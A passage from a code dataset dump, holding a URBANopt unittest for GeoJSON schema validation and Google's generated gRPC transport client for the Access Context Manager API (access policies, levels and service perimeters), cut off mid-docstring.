\n","sub_path":"code/cnn.py","file_name":"cnn.py","file_ext":"py","file_size_in_byte":4373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"556923275","text":"\"\"\"\n****************************************************************************************************\n:copyright (c) 2019-2021 URBANopt, Alliance for Sustainable Energy, LLC, and other contributors.\n\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification, are permitted\nprovided that the following conditions are met:\n\nRedistributions of source code must retain the above copyright notice, this list of conditions\nand the following disclaimer.\n\nRedistributions in binary form must reproduce the above copyright notice, this list of conditions\nand the following disclaimer in the documentation and/or other materials provided with the\ndistribution.\n\nNeither the name of the copyright holder nor the names of its contributors may be used to endorse\nor promote products derived from this software without specific prior written permission.\n\nRedistribution of this software, without modification, must refer to the software by the same\ndesignation. Redistribution of a modified version of this software (i) may not refer to the\nmodified version by the same designation, or by any confusingly similar designation, and\n(ii) must refer to the underlying software originally provided by Alliance as “URBANopt”. Except\nto comply with the foregoing, the term “URBANopt”, or any confusingly similar designation may\nnot be used to refer to any modified version of this software or any modified version of the\nunderlying software originally provided by Alliance without the prior written consent of Alliance.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR\nIMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND\nFITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR\nCONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\nDATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER\nIN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\nOF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n****************************************************************************************************\n\"\"\"\n\nimport unittest\n\nfrom geojson_modelica_translator.geojson.schemas import Schemas\n\n\nclass SchemasTest(unittest.TestCase):\n def test_load_schemas(self):\n s = Schemas()\n data = s.retrieve(\"building\")\n self.assertEqual(data[\"title\"], \"URBANopt Building\")\n\n def test_invalid_retrieve(self):\n s = Schemas()\n with self.assertRaises(Exception) as context:\n s.retrieve(\"judicate\")\n self.assertEqual(\"Schema for judicate does not exist\", str(context.exception))\n\n def test_validate_schema(self):\n s = Schemas()\n s.retrieve(\"building\")\n\n # verify that the schema can validate an instance with simple parameters\n instance = {\n \"id\": \"5a6b99ec37f4de7f94020090\",\n \"type\": \"Building\",\n \"name\": \"Medium Office\",\n \"footprint_area\": 17059,\n \"footprint_perimeter\": 533,\n \"building_type\": \"Office\",\n \"number_of_stories\": 3,\n \"system_type\": \"PTAC with district hot water\",\n \"number_of_stories_above_ground\": 3,\n \"building_status\": \"Proposed\",\n \"floor_area\": 51177,\n \"year_built\": 2010,\n }\n res = s.validate(\"building\", instance)\n self.assertEqual(len(res), 0)\n\n # bad system_type\n instance[\"type\"] = \"MagicBuilding\"\n res = s.validate(\"building\", instance)\n self.assertIn(\"'MagicBuilding' is not one of ['Building']\", res[0])\n self.assertEqual(len(res), 1)\n","sub_path":"tests/geojson/test_schemas.py","file_name":"test_schemas.py","file_ext":"py","file_size_in_byte":3930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"237230760","text":"# -*- coding: utf-8 -*-\n# Copyright 2020 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nimport warnings\nfrom typing import Callable, Dict, Optional, Sequence, Tuple, Union\n\nfrom google.api_core import grpc_helpers # type: ignore\nfrom google.api_core import operations_v1 # type: ignore\nfrom google.api_core import gapic_v1 # type: ignore\nimport google.auth # type: ignore\nfrom google.auth import credentials as ga_credentials # type: ignore\nfrom google.auth.transport.grpc import SslCredentials # type: ignore\n\nimport grpc # type: ignore\n\nfrom google.identity.accesscontextmanager_v1.types import access_context_manager\nfrom google.identity.accesscontextmanager_v1.types import access_level\nfrom google.identity.accesscontextmanager_v1.types import access_policy\nfrom google.identity.accesscontextmanager_v1.types import gcp_user_access_binding\nfrom google.identity.accesscontextmanager_v1.types import service_perimeter\nfrom google.longrunning import operations_pb2 # type: ignore\nfrom .base import AccessContextManagerTransport, DEFAULT_CLIENT_INFO\n\n\nclass AccessContextManagerGrpcTransport(AccessContextManagerTransport):\n \"\"\"gRPC backend transport for AccessContextManager.\n\n API for setting [Access Levels]\n [google.identity.accesscontextmanager.v1.AccessLevel] and [Service\n Perimeters]\n [google.identity.accesscontextmanager.v1.ServicePerimeter] for\n Google Cloud Projects. Each organization has one [AccessPolicy]\n [google.identity.accesscontextmanager.v1.AccessPolicy] containing\n the [Access Levels]\n [google.identity.accesscontextmanager.v1.AccessLevel] and [Service\n Perimeters]\n [google.identity.accesscontextmanager.v1.ServicePerimeter]. This\n [AccessPolicy]\n [google.identity.accesscontextmanager.v1.AccessPolicy] is applicable\n to all resources in the organization. AccessPolicies\n\n This class defines the same methods as the primary client, so the\n primary client can load the underlying transport implementation\n and call it.\n\n It sends protocol buffers over the wire using gRPC (which is built on\n top of HTTP/2); the ``grpcio`` package must be installed.\n \"\"\"\n _stubs: Dict[str, Callable]\n\n def __init__(self, *,\n host: str = 'accesscontextmanager.googleapis.com',\n credentials: ga_credentials.Credentials = None,\n credentials_file: str = None,\n scopes: Sequence[str] = None,\n channel: grpc.Channel = None,\n api_mtls_endpoint: str = None,\n client_cert_source: Callable[[], Tuple[bytes, bytes]] = None,\n ssl_channel_credentials: grpc.ChannelCredentials = None,\n client_cert_source_for_mtls: Callable[[], Tuple[bytes, bytes]] = None,\n quota_project_id: Optional[str] = None,\n client_info: gapic_v1.client_info.ClientInfo = DEFAULT_CLIENT_INFO,\n always_use_jwt_access: Optional[bool] = False,\n ) -> None:\n \"\"\"Instantiate the transport.\n\n Args:\n host (Optional[str]):\n The hostname to connect to.\n credentials (Optional[google.auth.credentials.Credentials]): The\n authorization credentials to attach to requests. These\n credentials identify the application to the service; if none\n are specified, the client will attempt to ascertain the\n credentials from the environment.\n This argument is ignored if ``channel`` is provided.\n credentials_file (Optional[str]): A file with credentials that can\n be loaded with :func:`google.auth.load_credentials_from_file`.\n This argument is ignored if ``channel`` is provided.\n scopes (Optional(Sequence[str])): A list of scopes. This argument is\n ignored if ``channel`` is provided.\n channel (Optional[grpc.Channel]): A ``Channel`` instance through\n which to make calls.\n api_mtls_endpoint (Optional[str]): Deprecated. The mutual TLS endpoint.\n If provided, it overrides the ``host`` argument and tries to create\n a mutual TLS channel with client SSL credentials from\n ``client_cert_source`` or applicatin default SSL credentials.\n client_cert_source (Optional[Callable[[], Tuple[bytes, bytes]]]):\n Deprecated. A callback to provide client SSL certificate bytes and\n private key bytes, both in PEM format. It is ignored if\n ``api_mtls_endpoint`` is None.\n ssl_channel_credentials (grpc.ChannelCredentials): SSL credentials\n for grpc channel. It is ignored if ``channel`` is provided.\n client_cert_source_for_mtls (Optional[Callable[[], Tuple[bytes, bytes]]]):\n A callback to provide client certificate bytes and private key bytes,\n both in PEM format. It is used to configure mutual TLS channel. It is\n ignored if ``channel`` or ``ssl_channel_credentials`` is provided.\n quota_project_id (Optional[str]): An optional project to use for billing\n and quota.\n client_info (google.api_core.gapic_v1.client_info.ClientInfo):\n The client info used to send a user-agent string along with\n API requests. If ``None``, then default info will be used.\n Generally, you only need to set this if you're developing\n your own client library.\n always_use_jwt_access (Optional[bool]): Whether self signed JWT should\n be used for service account credentials.\n\n Raises:\n google.auth.exceptions.MutualTLSChannelError: If mutual TLS transport\n creation failed for any reason.\n google.api_core.exceptions.DuplicateCredentialArgs: If both ``credentials``\n and ``credentials_file`` are passed.\n \"\"\"\n self._grpc_channel = None\n self._ssl_channel_credentials = ssl_channel_credentials\n self._stubs: Dict[str, Callable] = {}\n self._operations_client = None\n\n if api_mtls_endpoint:\n warnings.warn(\"api_mtls_endpoint is deprecated\", DeprecationWarning)\n if client_cert_source:\n warnings.warn(\"client_cert_source is deprecated\", DeprecationWarning)\n\n if channel:\n # Ignore credentials if a channel was passed.\n credentials = False\n # If a channel was explicitly provided, set it.\n self._grpc_channel = channel\n self._ssl_channel_credentials = None\n\n else:\n if api_mtls_endpoint:\n host = api_mtls_endpoint\n\n # Create SSL credentials with client_cert_source or application\n # default SSL credentials.\n if client_cert_source:\n cert, key = client_cert_source()\n self._ssl_channel_credentials = grpc.ssl_channel_credentials(\n certificate_chain=cert, private_key=key\n )\n else:\n self._ssl_channel_credentials = SslCredentials().ssl_credentials\n\n else:\n if client_cert_source_for_mtls and not ssl_channel_credentials:\n cert, key = client_cert_source_for_mtls()\n self._ssl_channel_credentials = grpc.ssl_channel_credentials(\n certificate_chain=cert, private_key=key\n )\n\n # The base transport sets the host, credentials and scopes\n super().__init__(\n host=host,\n credentials=credentials,\n credentials_file=credentials_file,\n scopes=scopes,\n quota_project_id=quota_project_id,\n client_info=client_info,\n always_use_jwt_access=always_use_jwt_access,\n )\n\n if not self._grpc_channel:\n self._grpc_channel = type(self).create_channel(\n self._host,\n credentials=self._credentials,\n credentials_file=credentials_file,\n scopes=self._scopes,\n ssl_credentials=self._ssl_channel_credentials,\n quota_project_id=quota_project_id,\n options=[\n (\"grpc.max_send_message_length\", -1),\n (\"grpc.max_receive_message_length\", -1),\n ],\n )\n\n # Wrap messages. This must be done after self._grpc_channel exists\n self._prep_wrapped_messages(client_info)\n\n @classmethod\n def create_channel(cls,\n host: str = 'accesscontextmanager.googleapis.com',\n credentials: ga_credentials.Credentials = None,\n credentials_file: str = None,\n scopes: Optional[Sequence[str]] = None,\n quota_project_id: Optional[str] = None,\n **kwargs) -> grpc.Channel:\n \"\"\"Create and return a gRPC channel object.\n Args:\n host (Optional[str]): The host for the channel to use.\n credentials (Optional[~.Credentials]): The\n authorization credentials to attach to requests. These\n credentials identify this application to the service. If\n none are specified, the client will attempt to ascertain\n the credentials from the environment.\n credentials_file (Optional[str]): A file with credentials that can\n be loaded with :func:`google.auth.load_credentials_from_file`.\n This argument is mutually exclusive with credentials.\n scopes (Optional[Sequence[str]]): A optional list of scopes needed for this\n service. These are only used when credentials are not specified and\n are passed to :func:`google.auth.default`.\n quota_project_id (Optional[str]): An optional project to use for billing\n and quota.\n kwargs (Optional[dict]): Keyword arguments, which are passed to the\n channel creation.\n Returns:\n grpc.Channel: A gRPC channel object.\n\n Raises:\n google.api_core.exceptions.DuplicateCredentialArgs: If both ``credentials``\n and ``credentials_file`` are passed.\n \"\"\"\n\n return grpc_helpers.create_channel(\n host,\n credentials=credentials,\n credentials_file=credentials_file,\n quota_project_id=quota_project_id,\n default_scopes=cls.AUTH_SCOPES,\n scopes=scopes,\n default_host=cls.DEFAULT_HOST,\n **kwargs\n )\n\n @property\n def grpc_channel(self) -> grpc.Channel:\n \"\"\"Return the channel designed to connect to this service.\n \"\"\"\n return self._grpc_channel\n\n @property\n def operations_client(self) -> operations_v1.OperationsClient:\n \"\"\"Create the client designed to process long-running operations.\n\n This property caches on the instance; repeated calls return the same\n client.\n \"\"\"\n # Sanity check: Only create a new client if we do not already have one.\n if self._operations_client is None:\n self._operations_client = operations_v1.OperationsClient(\n self.grpc_channel\n )\n\n # Return the client from cache.\n return self._operations_client\n\n @property\n def list_access_policies(self) -> Callable[\n [access_context_manager.ListAccessPoliciesRequest],\n access_context_manager.ListAccessPoliciesResponse]:\n r\"\"\"Return a callable for the list access policies method over gRPC.\n\n List all [AccessPolicies]\n [google.identity.accesscontextmanager.v1.AccessPolicy] under a\n container.\n\n Returns:\n Callable[[~.ListAccessPoliciesRequest],\n ~.ListAccessPoliciesResponse]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if 'list_access_policies' not in self._stubs:\n self._stubs['list_access_policies'] = self.grpc_channel.unary_unary(\n '/google.identity.accesscontextmanager.v1.AccessContextManager/ListAccessPolicies',\n request_serializer=access_context_manager.ListAccessPoliciesRequest.serialize,\n response_deserializer=access_context_manager.ListAccessPoliciesResponse.deserialize,\n )\n return self._stubs['list_access_policies']\n\n @property\n def get_access_policy(self) -> Callable[\n [access_context_manager.GetAccessPolicyRequest],\n access_policy.AccessPolicy]:\n r\"\"\"Return a callable for the get access policy method over gRPC.\n\n Get an [AccessPolicy]\n [google.identity.accesscontextmanager.v1.AccessPolicy] by name.\n\n Returns:\n Callable[[~.GetAccessPolicyRequest],\n ~.AccessPolicy]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if 'get_access_policy' not in self._stubs:\n self._stubs['get_access_policy'] = self.grpc_channel.unary_unary(\n '/google.identity.accesscontextmanager.v1.AccessContextManager/GetAccessPolicy',\n request_serializer=access_context_manager.GetAccessPolicyRequest.serialize,\n response_deserializer=access_policy.AccessPolicy.deserialize,\n )\n return self._stubs['get_access_policy']\n\n @property\n def create_access_policy(self) -> Callable[\n [access_policy.AccessPolicy],\n operations_pb2.Operation]:\n r\"\"\"Return a callable for the create access policy method over gRPC.\n\n Create an ``AccessPolicy``. Fails if this organization already\n has a ``AccessPolicy``. The longrunning Operation will have a\n successful status once the ``AccessPolicy`` has propagated to\n long-lasting storage. Syntactic and basic semantic errors will\n be returned in ``metadata`` as a BadRequest proto.\n\n Returns:\n Callable[[~.AccessPolicy],\n ~.Operation]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if 'create_access_policy' not in self._stubs:\n self._stubs['create_access_policy'] = self.grpc_channel.unary_unary(\n '/google.identity.accesscontextmanager.v1.AccessContextManager/CreateAccessPolicy',\n request_serializer=access_policy.AccessPolicy.serialize,\n response_deserializer=operations_pb2.Operation.FromString,\n )\n return self._stubs['create_access_policy']\n\n @property\n def update_access_policy(self) -> Callable[\n [access_context_manager.UpdateAccessPolicyRequest],\n operations_pb2.Operation]:\n r\"\"\"Return a callable for the update access policy method over gRPC.\n\n Update an [AccessPolicy]\n [google.identity.accesscontextmanager.v1.AccessPolicy]. The\n longrunning Operation from this RPC will have a successful\n status once the changes to the [AccessPolicy]\n [google.identity.accesscontextmanager.v1.AccessPolicy] have\n propagated to long-lasting storage. Syntactic and basic semantic\n errors will be returned in ``metadata`` as a BadRequest proto.\n\n Returns:\n Callable[[~.UpdateAccessPolicyRequest],\n ~.Operation]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if 'update_access_policy' not in self._stubs:\n self._stubs['update_access_policy'] = self.grpc_channel.unary_unary(\n '/google.identity.accesscontextmanager.v1.AccessContextManager/UpdateAccessPolicy',\n request_serializer=access_context_manager.UpdateAccessPolicyRequest.serialize,\n response_deserializer=operations_pb2.Operation.FromString,\n )\n return self._stubs['update_access_policy']\n\n @property\n def delete_access_policy(self) -> Callable[\n [access_context_manager.DeleteAccessPolicyRequest],\n operations_pb2.Operation]:\n r\"\"\"Return a callable for the delete access policy method over gRPC.\n\n Delete an [AccessPolicy]\n [google.identity.accesscontextmanager.v1.AccessPolicy] by\n resource name. The longrunning Operation will have a successful\n status once the [AccessPolicy]\n [google.identity.accesscontextmanager.v1.AccessPolicy] has been\n removed from long-lasting storage.\n\n Returns:\n Callable[[~.DeleteAccessPolicyRequest],\n ~.Operation]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if 'delete_access_policy' not in self._stubs:\n self._stubs['delete_access_policy'] = self.grpc_channel.unary_unary(\n '/google.identity.accesscontextmanager.v1.AccessContextManager/DeleteAccessPolicy',\n request_serializer=access_context_manager.DeleteAccessPolicyRequest.serialize,\n response_deserializer=operations_pb2.Operation.FromString,\n )\n return self._stubs['delete_access_policy']\n\n @property\n def list_access_levels(self) -> Callable[\n [access_context_manager.ListAccessLevelsRequest],\n access_context_manager.ListAccessLevelsResponse]:\n r\"\"\"Return a callable for the list access levels method over gRPC.\n\n List all [Access Levels]\n [google.identity.accesscontextmanager.v1.AccessLevel] for an\n access policy.\n\n Returns:\n Callable[[~.ListAccessLevelsRequest],\n ~.ListAccessLevelsResponse]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if 'list_access_levels' not in self._stubs:\n self._stubs['list_access_levels'] = self.grpc_channel.unary_unary(\n '/google.identity.accesscontextmanager.v1.AccessContextManager/ListAccessLevels',\n request_serializer=access_context_manager.ListAccessLevelsRequest.serialize,\n response_deserializer=access_context_manager.ListAccessLevelsResponse.deserialize,\n )\n return self._stubs['list_access_levels']\n\n @property\n def get_access_level(self) -> Callable[\n [access_context_manager.GetAccessLevelRequest],\n access_level.AccessLevel]:\n r\"\"\"Return a callable for the get access level method over gRPC.\n\n Get an [Access Level]\n [google.identity.accesscontextmanager.v1.AccessLevel] by\n resource name.\n\n Returns:\n Callable[[~.GetAccessLevelRequest],\n ~.AccessLevel]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if 'get_access_level' not in self._stubs:\n self._stubs['get_access_level'] = self.grpc_channel.unary_unary(\n '/google.identity.accesscontextmanager.v1.AccessContextManager/GetAccessLevel',\n request_serializer=access_context_manager.GetAccessLevelRequest.serialize,\n response_deserializer=access_level.AccessLevel.deserialize,\n )\n return self._stubs['get_access_level']\n\n @property\n def create_access_level(self) -> Callable[\n [access_context_manager.CreateAccessLevelRequest],\n operations_pb2.Operation]:\n r\"\"\"Return a callable for the create access level method over gRPC.\n\n Create an [Access Level]\n [google.identity.accesscontextmanager.v1.AccessLevel]. The\n longrunning operation from this RPC will have a successful\n status once the [Access Level]\n [google.identity.accesscontextmanager.v1.AccessLevel] has\n propagated to long-lasting storage. [Access Levels]\n [google.identity.accesscontextmanager.v1.AccessLevel] containing\n errors will result in an error response for the first error\n encountered.\n\n Returns:\n Callable[[~.CreateAccessLevelRequest],\n ~.Operation]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if 'create_access_level' not in self._stubs:\n self._stubs['create_access_level'] = self.grpc_channel.unary_unary(\n '/google.identity.accesscontextmanager.v1.AccessContextManager/CreateAccessLevel',\n request_serializer=access_context_manager.CreateAccessLevelRequest.serialize,\n response_deserializer=operations_pb2.Operation.FromString,\n )\n return self._stubs['create_access_level']\n\n @property\n def update_access_level(self) -> Callable[\n [access_context_manager.UpdateAccessLevelRequest],\n operations_pb2.Operation]:\n r\"\"\"Return a callable for the update access level method over gRPC.\n\n Update an [Access Level]\n [google.identity.accesscontextmanager.v1.AccessLevel]. The\n longrunning operation from this RPC will have a successful\n status once the changes to the [Access Level]\n [google.identity.accesscontextmanager.v1.AccessLevel] have\n propagated to long-lasting storage. [Access Levels]\n [google.identity.accesscontextmanager.v1.AccessLevel] containing\n errors will result in an error response for the first error\n encountered.\n\n Returns:\n Callable[[~.UpdateAccessLevelRequest],\n ~.Operation]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if 'update_access_level' not in self._stubs:\n self._stubs['update_access_level'] = self.grpc_channel.unary_unary(\n '/google.identity.accesscontextmanager.v1.AccessContextManager/UpdateAccessLevel',\n request_serializer=access_context_manager.UpdateAccessLevelRequest.serialize,\n response_deserializer=operations_pb2.Operation.FromString,\n )\n return self._stubs['update_access_level']\n\n @property\n def delete_access_level(self) -> Callable[\n [access_context_manager.DeleteAccessLevelRequest],\n operations_pb2.Operation]:\n r\"\"\"Return a callable for the delete access level method over gRPC.\n\n Delete an [Access Level]\n [google.identity.accesscontextmanager.v1.AccessLevel] by\n resource name. The longrunning operation from this RPC will have\n a successful status once the [Access Level]\n [google.identity.accesscontextmanager.v1.AccessLevel] has been\n removed from long-lasting storage.\n\n Returns:\n Callable[[~.DeleteAccessLevelRequest],\n ~.Operation]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if 'delete_access_level' not in self._stubs:\n self._stubs['delete_access_level'] = self.grpc_channel.unary_unary(\n '/google.identity.accesscontextmanager.v1.AccessContextManager/DeleteAccessLevel',\n request_serializer=access_context_manager.DeleteAccessLevelRequest.serialize,\n response_deserializer=operations_pb2.Operation.FromString,\n )\n return self._stubs['delete_access_level']\n\n @property\n def replace_access_levels(self) -> Callable[\n [access_context_manager.ReplaceAccessLevelsRequest],\n operations_pb2.Operation]:\n r\"\"\"Return a callable for the replace access levels method over gRPC.\n\n Replace all existing [Access Levels]\n [google.identity.accesscontextmanager.v1.AccessLevel] in an\n [Access Policy]\n [google.identity.accesscontextmanager.v1.AccessPolicy] with the\n [Access Levels]\n [google.identity.accesscontextmanager.v1.AccessLevel] provided.\n This is done atomically. The longrunning operation from this RPC\n will have a successful status once all replacements have\n propagated to long-lasting storage. Replacements containing\n errors will result in an error response for the first error\n encountered. Replacement will be cancelled on error, existing\n [Access Levels]\n [google.identity.accesscontextmanager.v1.AccessLevel] will not\n be affected. Operation.response field will contain\n ReplaceAccessLevelsResponse. Removing [Access Levels]\n [google.identity.accesscontextmanager.v1.AccessLevel] contained\n in existing [Service Perimeters]\n [google.identity.accesscontextmanager.v1.ServicePerimeter] will\n result in error.\n\n Returns:\n Callable[[~.ReplaceAccessLevelsRequest],\n ~.Operation]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if 'replace_access_levels' not in self._stubs:\n self._stubs['replace_access_levels'] = self.grpc_channel.unary_unary(\n '/google.identity.accesscontextmanager.v1.AccessContextManager/ReplaceAccessLevels',\n request_serializer=access_context_manager.ReplaceAccessLevelsRequest.serialize,\n response_deserializer=operations_pb2.Operation.FromString,\n )\n return self._stubs['replace_access_levels']\n\n @property\n def list_service_perimeters(self) -> Callable[\n [access_context_manager.ListServicePerimetersRequest],\n access_context_manager.ListServicePerimetersResponse]:\n r\"\"\"Return a callable for the list service perimeters method over gRPC.\n\n List all [Service Perimeters]\n [google.identity.accesscontextmanager.v1.ServicePerimeter] for\n an access policy.\n\n Returns:\n Callable[[~.ListServicePerimetersRequest],\n ~.ListServicePerimetersResponse]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if 'list_service_perimeters' not in self._stubs:\n self._stubs['list_service_perimeters'] = self.grpc_channel.unary_unary(\n '/google.identity.accesscontextmanager.v1.AccessContextManager/ListServicePerimeters',\n request_serializer=access_context_manager.ListServicePerimetersRequest.serialize,\n response_deserializer=access_context_manager.ListServicePerimetersResponse.deserialize,\n )\n return self._stubs['list_service_perimeters']\n\n @property\n def get_service_perimeter(self) -> Callable[\n [access_context_manager.GetServicePerimeterRequest],\n service_perimeter.ServicePerimeter]:\n r\"\"\"Return a callable for the get service perimeter method over gRPC.\n\n Get a [Service Perimeter]\n [google.identity.accesscontextmanager.v1.ServicePerimeter] by\n resource name.\n\n Returns:\n Callable[[~.GetServicePerimeterRequest],\n ~.ServicePerimeter]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if 'get_service_perimeter' not in self._stubs:\n self._stubs['get_service_perimeter'] = self.grpc_channel.unary_unary(\n '/google.identity.accesscontextmanager.v1.AccessContextManager/GetServicePerimeter',\n request_serializer=access_context_manager.GetServicePerimeterRequest.serialize,\n response_deserializer=service_perimeter.ServicePerimeter.deserialize,\n )\n return self._stubs['get_service_perimeter']\n\n @property\n def create_service_perimeter(self) -> Callable[\n [access_context_manager.CreateServicePerimeterRequest],\n operations_pb2.Operation]:\n r\"\"\"Return a callable for the create service perimeter method over gRPC.\n\n Create a [Service Perimeter]\n [google.identity.accesscontextmanager.v1.ServicePerimeter]. The\n longrunning operation from this RPC will have a successful\n status once the [Service Perimeter]\n [google.identity.accesscontextmanager.v1.ServicePerimeter] has\n propagated to long-lasting storage. [Service Perimeters]\n [google.identity.accesscontextmanager.v1.ServicePerimeter]\n containing errors will result in an error response for the first\n error encountered.\n\n Returns:\n Callable[[~.CreateServicePerimeterRequest],\n ~.Operation]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if 'create_service_perimeter' not in self._stubs:\n self._stubs['create_service_perimeter'] = self.grpc_channel.unary_unary(\n '/google.identity.accesscontextmanager.v1.AccessContextManager/CreateServicePerimeter',\n request_serializer=access_context_manager.CreateServicePerimeterRequest.serialize,\n response_deserializer=operations_pb2.Operation.FromString,\n )\n return self._stubs['create_service_perimeter']\n\n @property\n def update_service_perimeter(self) -> Callable[\n [access_context_manager.UpdateServicePerimeterRequest],\n operations_pb2.Operation]:\n r\"\"\"Return a callable for the update service perimeter method over gRPC.\n\n Update a [Service Perimeter]\n [google.identity.accesscontextmanager.v1.ServicePerimeter]. The\n longrunning operation from this RPC will have a successful\n status once the changes to the [Service Perimeter]\n [google.identity.accesscontextmanager.v1.ServicePerimeter] have\n propagated to long-lasting storage. [Service Perimeter]\n [google.identity.accesscontextmanager.v1.ServicePerimeter]\n containing errors will result in an error response for the first\n error encountered.\n\n Returns:\n Callable[[~.UpdateServicePerimeterRequest],\n ~.Operation]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if 'update_service_perimeter' not in self._stubs:\n self._stubs['update_service_perimeter'] = self.grpc_channel.unary_unary(\n '/google.identity.accesscontextmanager.v1.AccessContextManager/UpdateServicePerimeter',\n request_serializer=access_context_manager.UpdateServicePerimeterRequest.serialize,\n response_deserializer=operations_pb2.Operation.FromString,\n )\n return self._stubs['update_service_perimeter']\n\n @property\n def delete_service_perimeter(self) -> Callable[\n [access_context_manager.DeleteServicePerimeterRequest],\n operations_pb2.Operation]:\n r\"\"\"Return a callable for the delete service perimeter method over gRPC.\n\n Delete a [Service Perimeter]\n [google.identity.accesscontextmanager.v1.ServicePerimeter] by\n resource name. The longrunning operation from this RPC will have\n a successful status once the [Service Perimeter]\n [google.identity.accesscontextmanager.v1.ServicePerimeter] has\n been removed from long-lasting storage.\n\n Returns:\n Callable[[~.DeleteServicePerimeterRequest],\n ~.Operation]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if 'delete_service_perimeter' not in self._stubs:\n self._stubs['delete_service_perimeter'] = self.grpc_channel.unary_unary(\n '/google.identity.accesscontextmanager.v1.AccessContextManager/DeleteServicePerimeter',\n request_serializer=access_context_manager.DeleteServicePerimeterRequest.serialize,\n response_deserializer=operations_pb2.Operation.FromString,\n )\n return self._stubs['delete_service_perimeter']\n\n @property\n def replace_service_perimeters(self) -> Callable[\n [access_context_manager.ReplaceServicePerimetersRequest],\n operations_pb2.Operation]:\n r\"\"\"Return a callable for the replace service perimeters method over gRPC.\n\n Replace all existing [Service Perimeters]\n [google.identity.accesscontextmanager.v1.ServicePerimeter] in an\n [Access Policy]\n [google.identity.accesscontextmanager.v1.AccessPolicy] with the\n [Service Perimeters]\n [google.identity.accesscontextmanager.v1.ServicePerimeter]\n provided. This is done atomically. The longrunning operation\n from this RPC will have a successful status once all\n replacements have propagated to long-lasting storage.\n Replacements containing errors will result in an error response\n for the first error encountered. Replacement will be cancelled\n on error, existing [Service Perimeters]\n [google.identity.accesscontextmanager.v1.ServicePerimeter] will\n not be affected. Operation.response field will contain\n ReplaceServicePerimetersResponse.\n\n Returns:\n Callable[[~.ReplaceServicePerimetersRequest],\n ~.Operation]:\n A 